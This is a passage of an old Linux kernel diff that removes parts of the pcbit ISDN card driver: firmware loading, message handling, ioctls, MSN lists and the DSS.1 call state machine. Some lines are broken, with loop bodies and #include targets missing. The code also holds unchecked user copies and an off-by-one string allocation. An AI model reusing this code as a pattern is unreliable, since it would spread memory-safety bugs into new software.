ST_ACTIVE) - return -1; - - if (chan->queued >= MAX_QUEUED ) - { -#ifdef DEBUG_QUEUE - printk(KERN_DEBUG - "pcbit: %d packets already in queue - write fails\n", - chan->queued); -#endif - /* - * packet stays on the head of the device queue - * since dev_start_xmit will fail - * see net/core/dev.c - */ -#ifdef BLOCK_TIMER - if (chan->block_timer.function == NULL) { - init_timer(&chan->block_timer); - chan->block_timer.function = &pcbit_block_timer; - chan->block_timer.data = (long) chan; - chan->block_timer.expires = jiffies + 1 * HZ; - add_timer(&chan->block_timer); - } -#endif - return 0; - } - - - chan->queued++; - - len = skb->len; - - hdrlen = capi_tdata_req(chan, skb); - - refnum = last_ref_num++ & 0x7fffU; - chan->s_refnum = refnum; - - pcbit_l2_write(dev, MSG_TDATA_REQ, refnum, skb, hdrlen); - - return len; -} - - -int pcbit_writecmd(const u_char* buf, int len, int user, int driver, int channel) -{ - struct pcbit_dev * dev; - int i, j; - const u_char * loadbuf; - u_char * ptr = NULL; - - int errstat; - - dev = finddev(driver); - - if (!dev) - { - printk("pcbit_writecmd: couldn't find device"); - return -ENODEV; - } - - switch(dev->l2_state) { - case L2_LWMODE: - /* check (size <= rdp_size); write buf into board */ - if (len > BANK4 + 1) - { - printk("pcbit_writecmd: invalid length %d\n", len); - return -EFAULT; - } - - if (user) - { - u_char cbuf[1024]; - - copy_from_user(cbuf, buf, len); - for (i=0; ish_mem + i); - } - else - memcpy_toio(dev->sh_mem, buf, len); - return len; - break; - case L2_FWMODE: - /* this is the hard part */ - /* dumb board */ - if (len < 0) - return -EINVAL; - - if (user) { - /* get it into kernel space */ - if ((ptr = kmalloc(len, GFP_KERNEL))==NULL) - return -ENOMEM; - copy_from_user(ptr, buf, len); - loadbuf = ptr; - } - else - loadbuf = buf; - - errstat = 0; - - for (i=0; i < len; i++) - { - for(j=0; j < LOAD_RETRY; j++) - { - __volatile__ unsigned char * ptr; - - ptr = dev->sh_mem + dev->loadptr; - if (*ptr == 0) - break; - - } - - if (j == LOAD_RETRY) - { - errstat = -ETIME; - printk("TIMEOUT i=%d\n", i); - break; - } - writeb(loadbuf[i], dev->sh_mem + dev->loadptr + 1); - writeb(0x01, dev->sh_mem + dev->loadptr); - - dev->loadptr += 2; - if (dev->loadptr > LOAD_ZONE_END) - dev->loadptr = LOAD_ZONE_START; - } - - if (user) - kfree(ptr); - - return errstat ? errstat : len; - - break; - default: - return -EBUSY; - } - return 0; -} - -/* - * demultiplexing of messages - * - */ - -void pcbit_l3_receive(struct pcbit_dev * dev, ulong msg, - struct sk_buff * skb, - ushort hdr_len, ushort refnum) -{ - struct pcbit_chan *chan; - struct sk_buff *skb2; - unsigned short len; - struct callb_data cbdata; - int complete, err; - isdn_ctrl ictl; -#ifdef DEBUG - struct msg_fmt * fmsg; -#endif - - switch(msg) { - - case MSG_TDATA_IND: - if (!(chan = capi_channel(dev, skb))) { - printk(KERN_WARNING - "CAPI header: unknown channel id\n"); - break; - } - chan->r_refnum = skb->data[7]; - skb_pull(skb, 8); - - dev->dev_if->rcvcallb_skb(dev->id, chan->id, skb); - - if (capi_tdata_resp(chan, &skb2) > 0) - pcbit_l2_write(dev, MSG_TDATA_RESP, refnum, - skb2, skb2->len); - return; - break; - case MSG_TDATA_CONF: - if (!(chan = capi_channel(dev, skb))) { - printk(KERN_WARNING - "CAPI header: unknown channel id\n"); - break; - } - -#ifdef DEBUG - if ( (*((ushort *) (skb->data + 2) )) != 0) { - printk(KERN_DEBUG "TDATA_CONF error\n"); - } -#endif -#ifdef BLOCK_TIMER - if (chan->queued == MAX_QUEUED) { - del_timer(&chan->block_timer); - chan->block_timer.function = NULL; - } - -#endif - chan->queued--; - - ictl.driver = dev->id; - ictl.command = ISDN_STAT_BSENT; - ictl.arg = chan->id; - dev->dev_if->statcallb(&ictl); - break; - - case MSG_CONN_IND: - /* - * channel: 1st not used will do - * if both are used we're in trouble - */ - - if (!dev->b1->fsm_state) - chan = dev->b1; - else if (!dev->b2->fsm_state) - chan = dev->b2; - else { - printk(KERN_INFO - "Incoming connection: no channels available"); - - if ((len = capi_disc_req(*(ushort*)(skb->data), &skb2, CAUSE_NOCHAN)) > 0) - pcbit_l2_write(dev, MSG_DISC_REQ, refnum, skb2, len); - break; - } - - cbdata.data.setup.CalledPN = NULL; - cbdata.data.setup.CallingPN = NULL; - - capi_decode_conn_ind(chan, skb, &cbdata); - cbdata.type = EV_NET_SETUP; - - pcbit_fsm_event(dev, chan, EV_NET_SETUP, NULL); - - if (pcbit_check_msn(dev, cbdata.data.setup.CallingPN)) - pcbit_fsm_event(dev, chan, EV_USR_PROCED_REQ, &cbdata); - else - pcbit_fsm_event(dev, chan, EV_USR_RELEASE_REQ, NULL); - - if (cbdata.data.setup.CalledPN) - kfree(cbdata.data.setup.CalledPN); - if (cbdata.data.setup.CallingPN) - kfree(cbdata.data.setup.CallingPN); - break; - - case MSG_CONN_CONF: - /* - * We should be able to find the channel by the message - * reference number. The current version of the firmware - * doesn't sent the ref number correctly. - */ -#ifdef DEBUG - printk(KERN_DEBUG "refnum=%04x b1=%04x b2=%04x\n", refnum, - dev->b1->s_refnum, - dev->b2->s_refnum); -#endif -#if 0 - if (dev->b1->s_refnum == refnum) - chan = dev->b1; - else { - - if (dev->b2->s_refnum == refnum) - chan = dev->b2; - else { - chan = NULL; - printk(KERN_WARNING "Connection Confirm - refnum doesn't match chan\n"); - break; - } - } -#else - /* We just try to find a channel in the right state */ - - if (dev->b1->fsm_state == ST_CALL_INIT) - chan = dev->b1; - else { - if (dev->b2->s_refnum == ST_CALL_INIT) - chan = dev->b2; - else { - chan = NULL; - printk(KERN_WARNING "Connection Confirm - no channel in Call Init state\n"); - break; - } - } -#endif - if (capi_decode_conn_conf(chan, skb, &complete)) { - printk(KERN_DEBUG "conn_conf indicates error\n"); - pcbit_fsm_event(dev, chan, EV_ERROR, NULL); - } - else - if (complete) - pcbit_fsm_event(dev, chan, EV_NET_CALL_PROC, NULL); - else - pcbit_fsm_event(dev, chan, EV_NET_SETUP_ACK, NULL); - break; - case MSG_CONN_ACTV_IND: - - if (!(chan = capi_channel(dev, skb))) { - printk(KERN_WARNING - "CAPI header: unknown channel id\n"); - break; - } - - if (capi_decode_conn_actv_ind(chan, skb)) { - printk("error in capi_decode_conn_actv_ind\n"); - /* pcbit_fsm_event(dev, chan, EV_ERROR, NULL); */ - break; - } - chan->r_refnum = refnum; - pcbit_fsm_event(dev, chan, EV_NET_CONN, NULL); - break; - case MSG_CONN_ACTV_CONF: - - if (!(chan = capi_channel(dev, skb))) { - printk(KERN_WARNING - "CAPI header: unknown channel id\n"); - break; - } - - if (capi_decode_conn_actv_conf(chan, skb) == 0) - pcbit_fsm_event(dev, chan, EV_NET_CONN_ACK, NULL); - - else - printk(KERN_DEBUG "decode_conn_actv_conf failed\n"); - break; - - case MSG_SELP_CONF: - - if (!(chan = capi_channel(dev, skb))) { - printk(KERN_WARNING - "CAPI header: unknown channel id\n"); - break; - } - - if (!(err = capi_decode_sel_proto_conf(chan, skb))) - pcbit_fsm_event(dev, chan, EV_NET_SELP_RESP, NULL); - else { - /* Error */ - printk("error %d - capi_decode_sel_proto_conf\n", err); - } - break; - case MSG_ACT_TRANSP_CONF: - if (!(chan = capi_channel(dev, skb))) { - printk(KERN_WARNING - "CAPI header: unknown channel id\n"); - break; - } - - if (!capi_decode_actv_trans_conf(chan, skb)) - pcbit_fsm_event(dev, chan, EV_NET_ACTV_RESP, NULL); - break; - - case MSG_DISC_IND: - - if (!(chan = capi_channel(dev, skb))) { - printk(KERN_WARNING - "CAPI header: unknown channel id\n"); - break; - } - - if (!capi_decode_disc_ind(chan, skb)) - pcbit_fsm_event(dev, chan, EV_NET_DISC, NULL); - else - printk(KERN_WARNING "capi_decode_disc_ind - error\n"); - break; - case MSG_DISC_CONF: - if (!(chan = capi_channel(dev, skb))) { - printk(KERN_WARNING - "CAPI header: unknown channel id\n"); - break; - } - - if (!capi_decode_disc_ind(chan, skb)) - pcbit_fsm_event(dev, chan, EV_NET_RELEASE, NULL); - else - printk(KERN_WARNING "capi_decode_disc_conf - error\n"); - break; - case MSG_INFO_IND: -#ifdef DEBUG - printk(KERN_DEBUG "received Info Indication - discarded\n"); -#endif - break; -#ifdef DEBUG - case MSG_DEBUG_188: - capi_decode_debug_188(skb->data, skb->len); - break; - - default: - printk(KERN_DEBUG "pcbit_l3_receive: unknown message %08lx\n", - msg); - fmsg = (struct msg_fmt *) &msg; - printk(KERN_DEBUG "cmd=%02x sub=%02x\n", - fmsg->cmd, fmsg->scmd); - break; -#endif - } - - SET_SKB_FREE(skb); - - kfree_skb(skb, FREE_READ); - -} - -/* - * Single statbuf - * should be a statbuf per device - */ - -static char statbuf[STATBUF_LEN]; -static int stat_st = 0; -static int stat_end = 0; - - -static __inline void -memcpy_to_COND(int flag, char *d, const char *s, int len) { - if (flag) - copy_to_user(d, s, len); - else - memcpy(d, s, len); -} - - -int pcbit_stat(u_char* buf, int len, int user, int driver, int channel) -{ - int stat_count; - stat_count = stat_end - stat_st; - - if (stat_count < 0) - stat_count = STATBUF_LEN - stat_st + stat_end; - - /* FIXME: should we sleep and wait for more cookies ? */ - if (len > stat_count) - len = stat_count; - - if (stat_st < stat_end) - { - memcpy_to_COND(user, buf, statbuf + stat_st, len); - stat_st += len; - } - else - { - if (len > STATBUF_LEN - stat_st) - { - memcpy_to_COND(user, buf, statbuf + stat_st, - STATBUF_LEN - stat_st); - memcpy_to_COND(user, buf, statbuf, - len - (STATBUF_LEN - stat_st)); - - stat_st = len - (STATBUF_LEN - stat_st); - } - else - { - memcpy_to_COND(user, buf, statbuf + stat_st, - len); - - stat_st += len; - - if (stat_st == STATBUF_LEN) - stat_st = 0; - } - } - - if (stat_st == stat_end) - stat_st = stat_end = 0; - - return len; -} - -static void pcbit_logstat(struct pcbit_dev *dev, char *str) -{ - int i; - isdn_ctrl ictl; - - for (i=stat_end; iid; - ictl.arg=strlen(str); - dev->dev_if->statcallb(&ictl); -} - -extern char * isdn_state_table[]; -extern char * strisdnevent(unsigned short); - - -void pcbit_state_change(struct pcbit_dev * dev, struct pcbit_chan * chan, - unsigned short i, unsigned short ev, unsigned short f) -{ - char buf[256]; - - sprintf(buf, "change on device: %d channel:%d\n%s -> %s -> %s\n", - dev->id, chan->id, - isdn_state_table[i], strisdnevent(ev), isdn_state_table[f] - ); - -#ifdef DEBUG - printk("%s", buf); -#endif - - pcbit_logstat(dev, buf); -} - -static void set_running_timeout(unsigned long ptr) -{ - struct pcbit_dev * dev; - -#ifdef DEBUG - printk(KERN_DEBUG "set_running_timeout\n"); -#endif - dev = (struct pcbit_dev *) ptr; - - wake_up_interruptible(&dev->set_running_wq); -} - -static int set_protocol_running(struct pcbit_dev * dev) -{ - isdn_ctrl ctl; - - init_timer(&dev->set_running_timer); - - dev->set_running_timer.function = &set_running_timeout; - dev->set_running_timer.data = (ulong) dev; - dev->set_running_timer.expires = jiffies + SET_RUN_TIMEOUT; - - /* kick it */ - - dev->l2_state = L2_STARTING; - - writeb((0x80U | ((dev->rcv_seq & 0x07) << 3) | (dev->send_seq & 0x07)), - dev->sh_mem + BANK4); - - add_timer(&dev->set_running_timer); - - interruptible_sleep_on(&dev->set_running_wq); - - del_timer(&dev->set_running_timer); - - if (dev->l2_state == L2_RUNNING) - { - printk(KERN_DEBUG "pcbit: running\n"); - - dev->unack_seq = dev->send_seq; - - dev->writeptr = dev->sh_mem; - dev->readptr = dev->sh_mem + BANK2; - - /* tell the good news to the upper layer */ - ctl.driver = dev->id; - ctl.command = ISDN_STAT_RUN; - - dev->dev_if->statcallb(&ctl); - } - else - { - printk(KERN_DEBUG "pcbit: initialization failed\n"); - printk(KERN_DEBUG "pcbit: firmware not loaded\n"); - - dev->l2_state = L2_DOWN; - -#ifdef DEBUG - printk(KERN_DEBUG "Bank3 = %02x\n", - readb(dev->sh_mem + BANK3)); -#endif - *(dev->sh_mem + BANK4) = 0x40U; - - /* warn the upper layer */ - ctl.driver = dev->id; - ctl.command = ISDN_STAT_STOP; - - dev->dev_if->statcallb(&ctl); - - return -EL2HLT; /* Level 2 halted */ - } - - return 0; -} - -static int pcbit_ioctl(isdn_ctrl* ctl) -{ - struct pcbit_dev * dev; - struct pcbit_ioctl *cmd; - - dev = finddev(ctl->driver); - - if (!dev) - { - printk(KERN_DEBUG "pcbit_ioctl: unknown device\n"); - return -ENODEV; - } - - cmd = (struct pcbit_ioctl *) ctl->parm.num; - - switch(ctl->arg) { - case PCBIT_IOCTL_GETSTAT: - cmd->info.l2_status = dev->l2_state; - break; - - case PCBIT_IOCTL_STRLOAD: - if (dev->l2_state == L2_RUNNING) - return -EBUSY; - - dev->unack_seq = dev->send_seq = dev->rcv_seq = 0; - - dev->writeptr = dev->sh_mem; - dev->readptr = dev->sh_mem + BANK2; - - dev->l2_state = L2_LOADING; - break; - - case PCBIT_IOCTL_LWMODE: - if (dev->l2_state != L2_LOADING) - return -EINVAL; - - dev->l2_state = L2_LWMODE; - break; - - case PCBIT_IOCTL_FWMODE: - if (dev->l2_state == L2_RUNNING) - return -EBUSY; - dev->loadptr = LOAD_ZONE_START; - dev->l2_state = L2_FWMODE; - - break; - case PCBIT_IOCTL_ENDLOAD: - if (dev->l2_state == L2_RUNNING) - return -EBUSY; - dev->l2_state = L2_DOWN; - break; - - case PCBIT_IOCTL_SETBYTE: - if (dev->l2_state == L2_RUNNING) - return -EBUSY; - - /* check addr */ - if (cmd->info.rdp_byte.addr > BANK4) - return -EFAULT; - - writeb(cmd->info.rdp_byte.value, dev->sh_mem + cmd->info.rdp_byte.addr); - break; - case PCBIT_IOCTL_GETBYTE: - if (dev->l2_state == L2_RUNNING) - return -EBUSY; - - /* check addr */ - - if (cmd->info.rdp_byte.addr > BANK4) - { - printk("getbyte: invalid addr %04x\n", cmd->info.rdp_byte.addr); - return -EFAULT; - } - - cmd->info.rdp_byte.value = readb(dev->sh_mem + cmd->info.rdp_byte.addr); - break; - case PCBIT_IOCTL_RUNNING: - if (dev->l2_state == L2_RUNNING) - return -EBUSY; - return set_protocol_running(dev); - break; - case PCBIT_IOCTL_WATCH188: - if (dev->l2_state != L2_LOADING) - return -EINVAL; - pcbit_l2_write(dev, MSG_WATCH188, 0x0001, NULL, 0); - break; - case PCBIT_IOCTL_PING188: - if (dev->l2_state != L2_LOADING) - return -EINVAL; - pcbit_l2_write(dev, MSG_PING188_REQ, 0x0001, NULL, 0); - break; - case PCBIT_IOCTL_APION: - if (dev->l2_state != L2_LOADING) - return -EINVAL; - pcbit_l2_write(dev, MSG_API_ON, 0x0001, NULL, 0); - break; - case PCBIT_IOCTL_STOP: - dev->l2_state = L2_DOWN; - writeb(0x40, dev->sh_mem + BANK4); - dev->rcv_seq = 0; - dev->send_seq = 0; - dev->unack_seq = 0; - break; - default: - printk("error: unknown ioctl\n"); - break; - }; - return 0; -} - -/* - * MSN list handling - * - * if null reject all calls - * if first entry has null MSN accept all calls - */ - -static void pcbit_clear_msn(struct pcbit_dev *dev) -{ - struct msn_entry *ptr, *back; - - for (ptr=dev->msn_list; ptr; ) - { - back = ptr->next; - kfree(ptr); - ptr = back; - } - - dev->msn_list = NULL; -} - -static void pcbit_set_msn(struct pcbit_dev *dev, char *list) -{ - struct msn_entry *ptr; - struct msn_entry *back = NULL; - char *cp, *sp; - int len; - - if (strlen(list) == 0) { - ptr = kmalloc(sizeof(struct msn_entry), GFP_ATOMIC); - if (!ptr) { - printk(KERN_WARNING "kmalloc failed\n"); - return; - } - - ptr->msn = NULL; - - ptr->next = dev->msn_list; - dev->msn_list = ptr; - - return; - } - - if (dev->msn_list) - for (back=dev->msn_list; back->next; back=back->next); - - sp = list; - - do { - cp=strchr(sp, ','); - if (cp) - len = cp - sp; - else - len = strlen(sp); - - ptr = kmalloc(sizeof(struct msn_entry), GFP_ATOMIC); - - if (!ptr) { - printk(KERN_WARNING "kmalloc failed\n"); - return; - } - ptr->next = NULL; - - ptr->msn = kmalloc(len, GFP_ATOMIC); - if (!ptr->msn) { - printk(KERN_WARNING "kmalloc failed\n"); - return; - } - - memcpy(ptr->msn, sp, len - 1); - ptr->msn[len] = 0; - -#ifdef DEBUG - printk(KERN_DEBUG "msn: %s\n", ptr->msn); -#endif - if (dev->msn_list == NULL) - dev->msn_list = ptr; - else - back->next = ptr; - back = ptr; - sp += len; - } while(cp); -} - -/* - * check if we do signal or reject an incoming call - */ -static int pcbit_check_msn(struct pcbit_dev *dev, char *msn) -{ - struct msn_entry *ptr; - - for (ptr=dev->msn_list; ptr; ptr=ptr->next) { - - if (ptr->msn == NULL) - return 1; - - if (strcmp(ptr->msn, msn) == 0) - return 1; - } - - return 0; -} diff -u --recursive --new-file linux-2.1.29/drivers/isdn/pcbit/edss1.c linux/drivers/isdn/pcbit/edss1.c --- linux-2.1.29/drivers/isdn/pcbit/edss1.c Sat Aug 31 13:01:58 1996 +++ linux/drivers/isdn/pcbit/edss1.c Wed Dec 31 19:00:00 1969 @@ -1,334 +0,0 @@ -/* - * Copyright (C) 1996 Universidade de Lisboa - * - * Written by Pedro Roque Marques (roque@di.fc.ul.pt) - * - * This software may be used and distributed according to the terms of - * the GNU Public License, incorporated herein by reference. - */ - -/* - * DSS.1 Finite State Machine - * base: ITU-T Rec Q.931 - */ - -/* - * TODO: complete the FSM - * move state/event descriptions to a user space logger - */ - -#define __NO_VERSION__ - -#include - -#include -#include -#include - -#include -#include -#include -#include -#include - -#include -#include - -#include - -#include "pcbit.h" -#include "edss1.h" -#include "layer2.h" -#include "callbacks.h" - - -extern void pcbit_state_change(struct pcbit_dev *, struct pcbit_chan *, - unsigned short i, unsigned short ev, - unsigned short f); - -extern struct pcbit_dev * dev_pcbit[MAX_PCBIT_CARDS]; - -char * isdn_state_table[] = { - "Closed", - "Call initiated", - "Overlap sending", - "Outgoing call proceeding", - "NOT DEFINED", - "Call delivered", - "Call present", - "Call received", - "Connect request", - "Incoming call proceeding", - "Active", - "Disconnect request", - "Disconnect indication", - "NOT DEFINED", - "NOT DEFINED", - "Suspend request", - "NOT DEFINED", - "Resume request", - "NOT DEFINED", - "Release Request", - "NOT DEFINED", - "NOT DEFINED", - "NOT DEFINED", - "NOT DEFINED", - "NOT DEFINED", - "Overlap receiving", - "Select protocol on B-Channel", - "Activate B-channel protocol" -}; - -#ifdef DEBUG_ERRS -static -struct CauseValue { - byte nr; - char *descr; -} cvlist[]={ - {0x01,"Unallocated (unassigned) number"}, - {0x02,"No route to specified transit network"}, - {0x03,"No route to destination"}, - {0x04,"Send special information tone"}, - {0x05,"Misdialled trunk prefix"}, - {0x06,"Channel unacceptable"}, - {0x07,"Channel awarded and being delivered in an established channel"}, - {0x08,"Preemption"}, - {0x09,"Preemption - circuit reserved for reuse"}, - {0x10,"Normal call clearing"}, - {0x11,"User busy"}, - {0x12,"No user responding"}, - {0x13,"No answer from user (user alerted)"}, - {0x14,"Subscriber absent"}, - {0x15,"Call rejected"}, - {0x16,"Number changed"}, - {0x1a,"non-selected user clearing"}, - {0x1b,"Destination out of order"}, - {0x1c,"Invalid number format (address incomplete)"}, - {0x1d,"Facility rejected"}, - {0x1e,"Response to Status enquiry"}, - {0x1f,"Normal, unspecified"}, - {0x22,"No circuit/channel available"}, - {0x26,"Network out of order"}, - {0x27,"Permanent frame mode connection out-of-service"}, - {0x28,"Permanent frame mode connection operational"}, - {0x29,"Temporary failure"}, - {0x2a,"Switching equipment congestion"}, - {0x2b,"Access information discarded"}, - {0x2c,"Requested circuit/channel not available"}, - {0x2e,"Precedence call blocked"}, - {0x2f,"Resource unavailable, unspecified"}, - {0x31,"Quality of service unavailable"}, - {0x32,"Requested facility not subscribed"}, - {0x35,"Outgoing calls barred within CUG"}, - {0x37,"Incoming calls barred within CUG"}, - {0x39,"Bearer capability not authorized"}, - {0x3a,"Bearer capability not presently available"}, - {0x3e,"Inconsistency in designated outgoing access information and subscriber class"}, - {0x3f,"Service or option not available, unspecified"}, - {0x41,"Bearer capability not implemented"}, - {0x42,"Channel type not implemented"}, - {0x43,"Requested facility not implemented"}, - {0x44,"Only restricted digital information bearer capability is available"}, - {0x4f,"Service or option not implemented"}, - {0x51,"Invalid call reference value"}, - {0x52,"Identified channel does not exist"}, - {0x53,"A suspended call exists, but this call identity does not"}, - {0x54,"Call identity in use"}, - {0x55,"No call suspended"}, - {0x56,"Call having the requested call identity has been cleared"}, - {0x57,"User not member of CUG"}, - {0x58,"Incompatible destination"}, - {0x5a,"Non-existent CUG"}, - {0x5b,"Invalid transit network selection"}, - {0x5f,"Invalid message, unspecified"}, - {0x60,"Mandatory information element is missing"}, - {0x61,"Message type non-existent or not implemented"}, - {0x62,"Message not compatible with call state or message type non-existent or not implemented"}, - {0x63,"Information element/parameter non-existent or not implemented"}, - {0x64,"Invalid information element contents"}, - {0x65,"Message not compatible with call state"}, - {0x66,"Recovery on timer expiry"}, - {0x67,"Parameter non-existent or not implemented - passed on"}, - {0x6e,"Message with unrecognized parameter discarded"}, - {0x6f,"Protocol error, unspecified"}, - {0x7f,"Interworking, unspecified"} -}; - -#endif - -static struct isdn_event_desc { - unsigned short ev; - char * desc; -} isdn_event_table [] = { - {EV_USR_SETUP_REQ, "CC->L3: Setup Request"}, - {EV_USR_SETUP_RESP, "CC->L3: Setup Response"}, - {EV_USR_PROCED_REQ, "CC->L3: Proceeding Request"}, - {EV_USR_RELEASE_REQ, "CC->L3: Release Request"}, - - {EV_NET_SETUP, "NET->TE: setup "}, - {EV_NET_CALL_PROC, "NET->TE: call proceeding"}, - {EV_NET_SETUP_ACK, "NET->TE: setup acknowledge (more info needed)"}, - {EV_NET_CONN, "NET->TE: connect"}, - {EV_NET_CONN_ACK, "NET->TE: connect acknowledge"}, - {EV_NET_DISC, "NET->TE: disconnect indication"}, - {EV_NET_RELEASE, "NET->TE: release"}, - {EV_NET_RELEASE_COMP, "NET->TE: release complete"}, - {EV_NET_SELP_RESP, "Board: Select B-channel protocol ack"}, - {EV_NET_ACTV_RESP, "Board: Activate B-channel protocol ack"}, - {EV_TIMER, "Timeout"}, - {0, "NULL"} -}; - -char * strisdnevent(ushort ev) -{ - struct isdn_event_desc * entry; - - for (entry = isdn_event_table; entry->ev; entry++) - if (entry->ev == ev) - break; - - return entry->desc; -} - -/* - * Euro ISDN finite state machine - */ - -static struct fsm_timer_entry fsm_timers[] = { - {ST_CALL_PROC, 10}, - {ST_DISC_REQ, 2}, - {ST_ACTIVE_SELP, 5}, - {ST_ACTIVE_ACTV, 5}, - {ST_INCM_PROC, 10}, - {ST_CONN_REQ, 2}, - {0xff, 0} -}; - -static struct fsm_entry fsm_table[] = { -/* Connect Phase */ - /* Outgoing */ - {ST_NULL, ST_CALL_INIT, EV_USR_SETUP_REQ, cb_out_1}, - - {ST_CALL_INIT, ST_OVER_SEND, EV_NET_SETUP_ACK, cb_notdone}, - {ST_CALL_INIT, ST_CALL_PROC, EV_NET_CALL_PROC, NULL}, - {ST_CALL_INIT, ST_NULL, EV_NET_DISC, cb_out_2}, - - {ST_CALL_PROC, ST_ACTIVE_SELP, EV_NET_CONN, cb_out_2}, - {ST_CALL_PROC, ST_NULL, EV_NET_DISC, cb_disc_1}, - {ST_CALL_PROC, ST_DISC_REQ, EV_USR_RELEASE_REQ, cb_disc_2}, - - /* Incoming */ - {ST_NULL, ST_CALL_PRES, EV_NET_SETUP, NULL}, - - {ST_CALL_PRES, ST_INCM_PROC, EV_USR_PROCED_REQ, cb_in_1}, - {ST_CALL_PRES, ST_DISC_REQ, EV_USR_RELEASE_REQ, cb_disc_2}, - - {ST_INCM_PROC, ST_CONN_REQ, EV_USR_SETUP_RESP, cb_in_2}, - {ST_INCM_PROC, ST_DISC_REQ, EV_USR_RELEASE_REQ, cb_disc_2}, - - {ST_CONN_REQ, ST_ACTIVE_SELP, EV_NET_CONN_ACK, cb_in_3}, - - /* Active */ - {ST_ACTIVE, ST_NULL, EV_NET_DISC, cb_disc_1}, - {ST_ACTIVE, ST_DISC_REQ, EV_USR_RELEASE_REQ, cb_disc_2}, - {ST_ACTIVE, ST_NULL, EV_NET_RELEASE, cb_disc_3}, - - /* Disconnect */ - - {ST_DISC_REQ, ST_NULL, EV_NET_DISC, cb_disc_1}, - {ST_DISC_REQ, ST_NULL, EV_NET_RELEASE, cb_disc_3}, - - /* protocol selection */ - {ST_ACTIVE_SELP, ST_ACTIVE_ACTV, EV_NET_SELP_RESP, cb_selp_1}, - {ST_ACTIVE_SELP, ST_DISC_REQ, EV_USR_RELEASE_REQ, cb_disc_2}, - - {ST_ACTIVE_ACTV, ST_ACTIVE, EV_NET_ACTV_RESP, cb_open}, - {ST_ACTIVE_ACTV, ST_DISC_REQ, EV_USR_RELEASE_REQ, cb_disc_2}, - - /* Timers */ - {ST_CALL_PROC, ST_DISC_REQ, EV_TIMER, cb_disc_2}, - {ST_DISC_REQ, ST_NULL, EV_TIMER, cb_disc_3}, - {ST_ACTIVE_SELP, ST_DISC_REQ, EV_TIMER, cb_disc_2}, - {ST_ACTIVE_ACTV, ST_DISC_REQ, EV_TIMER, cb_disc_2}, - {ST_INCM_PROC, ST_DISC_REQ, EV_TIMER, cb_disc_2}, - {ST_CONN_REQ, ST_CONN_REQ, EV_TIMER, cb_in_2}, - - {0xff, 0, 0, NULL} -}; - - -static void pcbit_fsm_timer(unsigned long data) -{ - struct pcbit_dev *dev; - struct pcbit_chan *chan; - - chan = (struct pcbit_chan *) data; - - del_timer(&chan->fsm_timer); - chan->fsm_timer.function = NULL; - - dev = chan2dev(chan); - - if (dev == NULL) { - printk(KERN_WARNING "pcbit: timer for unknown device\n"); - return; - } - - pcbit_fsm_event(dev, chan, EV_TIMER, NULL); -} - - -void pcbit_fsm_event(struct pcbit_dev *dev, struct pcbit_chan *chan, - unsigned short event, struct callb_data *data) -{ - struct fsm_entry * action; - struct fsm_timer_entry *tentry; - unsigned long flags; - - save_flags(flags); - cli(); - - - for (action = fsm_table; action->init != 0xff; action++) - if (action->init == chan->fsm_state && action->event == event) - break; - - if (action->init == 0xff) { - - printk(KERN_DEBUG "fsm error: event %x on state %x\n", - event, chan->fsm_state); - restore_flags(flags); - return; - } - - if (chan->fsm_timer.function) { - del_timer(&chan->fsm_timer); - chan->fsm_timer.function = NULL; - } - - chan->fsm_state = action->final; - - pcbit_state_change(dev, chan, action->init, event, action->final); - - for (tentry = fsm_timers; tentry->init != 0xff; tentry++) - if (tentry->init == chan->fsm_state) - break; - - if (tentry->init != 0xff) { - init_timer(&chan->fsm_timer); - chan->fsm_timer.function = &pcbit_fsm_timer; - chan->fsm_timer.data = (ulong) chan; - chan->fsm_timer.expires = jiffies + tentry->timeout * HZ; - add_timer(&chan->fsm_timer); - } - - restore_flags(flags); - - if (action->callb) - action->callb(dev, chan, data); - -} - - - - diff -u --recursive --new-file linux-2.1.29/drivers/isdn/pcbit/edss1.h linux/drivers/isdn/pcbit/edss1.h --- linux-2.1.29/drivers/isdn/pcbit/edss1.h Tue Apr 23 05:31:35 1996 +++ linux/drivers/isdn/pcbit/edss1.h Wed Dec 31 19:00:00 1969 @@ -1,101 +0,0 @@ -/* - * Copyright (C) 1996 Universidade de Lisboa - * - * Written by Pedro Roque Marques (roque@di.fc.ul.pt) - * - * This software may be used and distributed according to the terms of - * the GNU Public License, incorporated herein by reference. - */ - -/* - * DSS.1 module definitions - */ - -#ifndef EDSS1_H -#define EDSS1_H - -/* ISDN states */ - -#define ST_NULL 0 -#define ST_CALL_INIT 1 /* Call initiated */ -#define ST_OVER_SEND 2 /* Overlap sending - Requests More Info 4 call */ -#define ST_CALL_PROC 3 /* Call Proceeding */ -#define ST_CALL_DELV 4 -#define ST_CALL_PRES 6 /* Call Present - Received CONN.IND */ -#define ST_CALL_RECV 7 /* Alerting sent */ -#define ST_CONN_REQ 8 /* Answered - waiting 4 CONN.CONF */ -#define ST_INCM_PROC 9 -#define ST_ACTIVE 10 -#define ST_DISC_REQ 11 -#define ST_DISC_IND 12 -#define ST_SUSP_REQ 15 -#define ST_RESM_REQ 17 -#define ST_RELS_REQ 19 -#define ST_OVER_RECV 25 - -#define ST_ACTIVE_SELP 26 /* Select protocol on B-Channel */ -#define ST_ACTIVE_ACTV 27 /* Activate B-channel protocol */ - -#define MAX_STATE ST_ACTIVE_ACTV - -#define EV_NULL 0 -#define EV_USR_SETUP_REQ 1 -#define EV_USR_SETUP_RESP 2 -#define EV_USR_PROCED_REQ 3 -#define EV_USR_RELEASE_REQ 4 -#define EV_USR_REJECT_REQ 4 - -#define EV_NET_SETUP 16 -#define EV_NET_CALL_PROC 17 -#define EV_NET_SETUP_ACK 18 -#define EV_NET_CONN 19 -#define EV_NET_CONN_ACK 20 - -#define EV_NET_SELP_RESP 21 -#define EV_NET_ACTV_RESP 22 - -#define EV_NET_DISC 23 -#define EV_NET_RELEASE 24 -#define EV_NET_RELEASE_COMP 25 - -#define EV_TIMER 26 -#define EV_ERROR 32 - -/* - * Cause values - * only the ones we use - */ - -#define CAUSE_NORMAL 0x10U -#define CAUSE_NOCHAN 0x22U - -struct callb_data { - unsigned short type; - union { - struct ConnInfo { - char *CalledPN; - char *CallingPN; - } setup; - unsigned short cause; - } data; -}; - -struct fsm_entry { - unsigned short init; - unsigned short final; - unsigned short event; - void (*callb)(struct pcbit_dev *, struct pcbit_chan *, struct callb_data*); -}; - -struct fsm_timer_entry { - unsigned short init; - unsigned long timeout; /* in seconds */ -}; - - -extern void pcbit_fsm_event(struct pcbit_dev *, struct pcbit_chan *, - unsigned short event, struct callb_data *); -#endif - - - diff -u --recursive --new-file linux-2.1.29/drivers/isdn/pcbit/layer2.c linux/drivers/isdn/pcbit/layer2.c --- 